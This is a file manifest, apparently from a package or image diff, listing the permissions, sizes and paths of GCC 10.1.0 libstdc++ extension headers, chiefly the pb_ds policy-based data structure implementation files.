+-rw-r--r-- root root 4020 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy/branch_policy.hpp
+-rw-r--r-- root root 2379 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy/null_node_metadata.hpp
+-rw-r--r-- root root 3254 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_
+-rw-r--r-- root root 20071 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/cc_ht_map_.hpp
+-rw-r--r-- root root 2798 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/cmp_fn_imps.hpp
+-rw-r--r-- root root 2874 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/cond_key_dtor_entry_dealtor.hpp
+-rw-r--r-- root root 5824 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_fn_imps.hpp
+-rw-r--r-- root root 2259 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2339 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2726 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 2033 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/debug_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2181 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/debug_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2987 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/entry_list_fn_imps.hpp
+-rw-r--r-- root root 3278 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 3297 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/erase_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 3258 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/erase_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2518 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/find_fn_imps.hpp
+-rw-r--r-- root root 1779 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/find_store_hash_fn_imps.hpp
+-rw-r--r-- root root 3163 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/info_fn_imps.hpp
+-rw-r--r-- root root 1896 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 2651 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/insert_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2707 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/insert_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2697 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/iterators_fn_imps.hpp
+-rw-r--r-- root root 2514 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 4095 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/resize_fn_imps.hpp
+-rw-r--r-- root root 2275 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/resize_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2307 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/resize_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2161 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/size_fn_imps.hpp
+-rw-r--r-- root root 2396 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/trace_fn_imps.hpp
+-rw-r--r-- root root 2772 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cond_dealtor.hpp
+-rw-r--r-- root root 13120 ./usr/include/c++/10.1.0/ext/pb_ds/detail/container_base_dispatch.hpp
+-rw-r--r-- root root 8697 ./usr/include/c++/10.1.0/ext/pb_ds/detail/debug_map_base.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/eq_fn
+-rw-r--r-- root root 2330 ./usr/include/c++/10.1.0/ext/pb_ds/detail/eq_fn/eq_by_less.hpp
+-rw-r--r-- root root 3739 ./usr/include/c++/10.1.0/ext/pb_ds/detail/eq_fn/hash_eq_fn.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_
+-rw-r--r-- root root 6639 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_fn_imps.hpp
+-rw-r--r-- root root 2235 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2302 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2207 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 2538 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/debug_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2678 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/debug_store_hash_fn_imps.hpp
+-rw-r--r-- root root 3237 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 2918 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/erase_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2952 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/erase_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2511 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/find_fn_imps.hpp
+-rw-r--r-- root root 1950 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/find_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 1780 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/find_store_hash_fn_imps.hpp
+-rw-r--r-- root root 20441 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/gp_ht_map_.hpp
+-rw-r--r-- root root 2160 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/info_fn_imps.hpp
+-rw-r--r-- root root 1896 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 3810 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/insert_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 4118 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/insert_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2652 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/iterator_fn_imps.hpp
+-rw-r--r-- root root 2693 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 4190 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/resize_fn_imps.hpp
+-rw-r--r-- root root 2651 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/resize_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2684 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/resize_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2457 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn
+-rw-r--r-- root root 2137 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/direct_mask_range_hashing_imp.hpp
+-rw-r--r-- root root 2127 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/direct_mod_range_hashing_imp.hpp
+-rw-r--r-- root root 1946 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/linear_probe_fn_imp.hpp
+-rw-r--r-- root root 3290 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/mask_based_range_hashing.hpp
+-rw-r--r-- root root 2391 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/mod_based_range_hashing.hpp
+-rw-r--r-- root root 2009 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/probe_fn_base.hpp
+-rw-r--r-- root root 1953 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/quadratic_probe_fn_imp.hpp
+-rw-r--r-- root root 10543 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/ranged_hash_fn.hpp
+-rw-r--r-- root root 10256 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/ranged_probe_fn.hpp
+-rw-r--r-- root root 2291 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_probe_fn.hpp
+-rw-r--r-- root root 2469 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_ranged_hash_fn.hpp
+-rw-r--r-- root root 2598 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_ranged_probe_fn.hpp
+-rw-r--r-- root root 2487 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_range_hashing.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_
+-rw-r--r-- root root 4924 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/const_iterator.hpp
+-rw-r--r-- root root 4088 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 4108 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 3992 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 2158 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/info_fn_imps.hpp
+-rw-r--r-- root root 5234 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 2588 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/iterators_fn_imps.hpp
+-rw-r--r-- root root 8182 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/left_child_next_sibling_heap_.hpp
+-rw-r--r-- root root 3240 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/node.hpp
+-rw-r--r-- root root 4397 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/point_const_iterator.hpp
+-rw-r--r-- root root 1960 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 2848 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_
+-rw-r--r-- root root 3617 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/constructor_destructor_fn_imps.hpp
+-rw-r--r-- root root 2128 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 2117 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/entry_metadata_base.hpp
+-rw-r--r-- root root 3515 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 2894 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/find_fn_imps.hpp
+-rw-r--r-- root root 2126 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/info_fn_imps.hpp
+-rw-r--r-- root root 3543 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 2547 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/iterators_fn_imps.hpp
+-rw-r--r-- root root 10551 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/lu_map_.hpp
+-rw-r--r-- root root 2061 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_policy
+-rw-r--r-- root root 2850 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_policy/lu_counter_metadata.hpp
+-rw-r--r-- root root 2672 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_policy/sample_update_policy.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_
+-rw-r--r-- root root 6916 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2851 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 5014 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 2136 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/info_fn_imps.hpp
+-rw-r--r-- root root 2306 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 3394 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/iterators_fn_imps.hpp
+-rw-r--r-- root root 8638 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/node_iterators.hpp
+-rw-r--r-- root root 15509 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/ov_tree_map_.hpp
+-rw-r--r-- root root 1920 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 3807 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/split_join_fn_imps.hpp
+-rw-r--r-- root root 4562 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_
+-rw-r--r-- root root 2539 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2029 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 7224 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 1970 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/find_fn_imps.hpp
+-rw-r--r-- root root 2980 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 5500 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/pairing_heap_.hpp
+-rw-r--r-- root root 3739 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/split_join_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_
+-rw-r--r-- root root 5745 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3824 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/debug_fn_imps.hpp
+-rw-r--r-- root root 7978 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/erase_fn_imps.hpp
+-rw-r--r-- root root 7908 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/find_fn_imps.hpp
+-rw-r--r-- root root 2108 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/info_fn_imps.hpp
+-rw-r--r-- root root 14508 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/insert_join_fn_imps.hpp
+-rw-r--r-- root root 3513 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/iterators_fn_imps.hpp
+-rw-r--r-- root root 36857 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/pat_trie_base.hpp
+-rw-r--r-- root root 16777 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/pat_trie_.hpp
+-rw-r--r-- root root 2248 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 2953 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/r_erase_fn_imps.hpp
+-rw-r--r-- root root 4363 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/rotate_fn_imps.hpp
+-rw-r--r-- root root 7758 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/split_fn_imps.hpp
+-rw-r--r-- root root 6718 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/synth_access_traits.hpp
+-rw-r--r-- root root 3434 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/trace_fn_imps.hpp
+-rw-r--r-- root root 6305 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/traits.hpp
+-rw-r--r-- root root 2075 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/update_fn_imps.hpp
+-rw-r--r-- root root 4140 ./usr/include/c++/10.1.0/ext/pb_ds/detail/priority_queue_base_dispatch.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_
+-rw-r--r-- root root 2816 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2794 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 7084 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 1703 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/find_fn_imps.hpp
+-rw-r--r-- root root 1874 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/info_fn_imps.hpp
+-rw-r--r-- root root 3900 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 3671 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/node.hpp
+-rw-r--r-- root root 7962 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/rb_tree_.hpp
+-rw-r--r-- root root 7894 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/split_join_fn_imps.hpp
+-rw-r--r-- root root 3283 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_
+-rw-r--r-- root root 2500 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3571 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 2922 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 4270 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 5303 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/rc_binomial_heap_.hpp
+-rw-r--r-- root root 6199 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/rc.hpp
+-rw-r--r-- root root 2451 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/split_join_fn_imps.hpp
+-rw-r--r-- root root 1937 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy
+-rw-r--r-- root root 4932 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/cc_hash_max_collision_check_resize_trigger_imp.hpp
+-rw-r--r-- root root 2805 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_exponential_size_policy_imp.hpp
+-rw-r--r-- root root 7785 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_load_check_resize_trigger_imp.hpp
+-rw-r--r-- root root 2970 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_load_check_resize_trigger_size_base.hpp
+-rw-r--r-- root root 6172 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_prime_size_policy_imp.hpp
+-rw-r--r-- root root 6316 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_standard_resize_policy_imp.hpp
+-rw-r--r-- root root 3578 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/sample_resize_policy.hpp
+-rw-r--r-- root root 3914 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/sample_resize_trigger.hpp
+-rw-r--r-- root root 2427 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/sample_size_policy.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_
+-rw-r--r-- root root 2880 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2496 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/debug_fn_imps.hpp
+-rw-r--r-- root root 4302 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/erase_fn_imps.hpp
+-rw-r--r-- root root 3352 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/find_fn_imps.hpp
+-rw-r--r-- root root 1689 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/info_fn_imps.hpp
+-rw-r--r-- root root 3386 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/insert_fn_imps.hpp
+-rw-r--r-- root root 3587 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/node.hpp
+-rw-r--r-- root root 8082 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/splay_fn_imps.hpp
+-rw-r--r-- root root 9307 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/splay_tree_.hpp
+-rw-r--r-- root root 3667 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/split_join_fn_imps.hpp
+-rw-r--r-- root root 3351 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/traits.hpp
+-rw-r--r-- root root 5031 ./usr/include/c++/10.1.0/ext/pb_ds/detail/standard_policies.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_
+-rw-r--r-- root root 2979 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3899 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 6088 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 1985 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/find_fn_imps.hpp
+-rw-r--r-- root root 7516 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 3188 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/split_join_fn_imps.hpp
+-rw-r--r-- root root 8389 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/thin_heap_.hpp
+-rw-r--r-- root root 1995 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy
+-rw-r--r-- root root 3338 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy/node_metadata_selector.hpp
+-rw-r--r-- root root 3756 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy/order_statistics_imp.hpp
+-rw-r--r-- root root 2346 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy/sample_tree_node_update.hpp
+-rw-r--r-- root root 5153 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_trace_base.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy
+-rw-r--r-- root root 3338 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/node_metadata_selector.hpp
+-rw-r--r-- root root 4734 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/order_statistics_imp.hpp
+-rw-r--r-- root root 4544 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/prefix_search_node_update_imp.hpp
+-rw-r--r-- root root 2666 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/sample_trie_access_traits.hpp
+-rw-r--r-- root root 2348 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/sample_trie_node_update.hpp
+-rw-r--r-- root root 5847 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/trie_policy_base.hpp
+-rw-r--r-- root root 3084 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/trie_string_access_traits_imp.hpp
+-rw-r--r-- root root 6450 ./usr/include/c++/10.1.0/ext/pb_ds/detail/types_traits.hpp
+-rw-r--r-- root root 4318 ./usr/include/c++/10.1.0/ext/pb_ds/detail/type_utils.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator
+-rw-r--r-- root root 3517 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/const_iterator.hpp
+-rw-r--r-- root root 3966 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/iterator.hpp
+-rw-r--r-- root root 3975 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/point_const_iterator.hpp
+-rw-r--r-- root root 3742 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/point_iterator.hpp
+-rw-r--r-- root root 2988 ./usr/include/c++/10.1.0/ext/pb_ds/exception.hpp
+-rw-r--r-- root root 16815 ./usr/include/c++/10.1.0/ext/pb_ds/hash_policy.hpp
+-rw-r--r-- root root 4318 ./usr/include/c++/10.1.0/ext/pb_ds/list_update_policy.hpp
+-rw-r--r-- root root 5444 ./usr/include/c++/10.1.0/ext/pb_ds/priority_queue.hpp
+-rw-r--r-- root root 12268 ./usr/include/c++/10.1.0/ext/pb_ds/tag_and_trait.hpp
+-rw-r--r-- root root 5569 ./usr/include/c++/10.1.0/ext/pb_ds/tree_policy.hpp
+-rw-r--r-- root root 12201 ./usr/include/c++/10.1.0/ext/pb_ds/trie_policy.hpp
+-rw-r--r-- root root 5556 ./usr/include/c++/10.1.0/ext/pod_char_traits.h
+-rw-r--r-- root root 20480 ./usr/include/c++/10.1.0/ext/pointer.h
+-rw-r--r-- root root 8965 ./usr/include/c++/10.1.0/ext/pool_allocator.h
+-rw-r--r-- root root 113176 ./usr/include/c++/10.1.0/ext/random
+-rw-r--r-- root root 60330 ./usr/include/c++/10.1.0/ext/random.tcc
+-rw-r--r-- root root 3278 ./usr/include/c++/10.1.0/ext/rb_tree
+-rw-r--r-- root root 23794 ./usr/include/c++/10.1.0/ext/rc_string_base.h
+-rw-r--r-- root root 88598 ./usr/include/c++/10.1.0/ext/rope
+-rw-r--r-- root root 48860 ./usr/include/c++/10.1.0/ext/ropeimpl.h
+-rw-r--r-- root root 29900 ./usr/include/c++/10.1.0/ext/slist
+-rw-r--r-- root root 16393 ./usr/include/c++/10.1.0/ext/sso_string_base.h
+-rw-r--r-- root root 5670 ./usr/include/c++/10.1.0/ext/stdio_filebuf.h
+-rw-r--r-- root root 8782 ./usr/include/c++/10.1.0/ext/stdio_sync_filebuf.h
+-rw-r--r-- root root 3597 ./usr/include/c++/10.1.0/ext/string_conversions.h
+-rw-r--r-- root root 25222 ./usr/include/c++/10.1.0/ext/throw_allocator.h
+-rw-r--r-- root root 16480 ./usr/include/c++/10.1.0/ext/typelist.h
+-rw-r--r-- root root 5914 ./usr/include/c++/10.1.0/ext/type_traits.h
+-rw-r--r-- root root 3178 ./usr/include/c++/10.1.0/ext/vstring_fwd.h
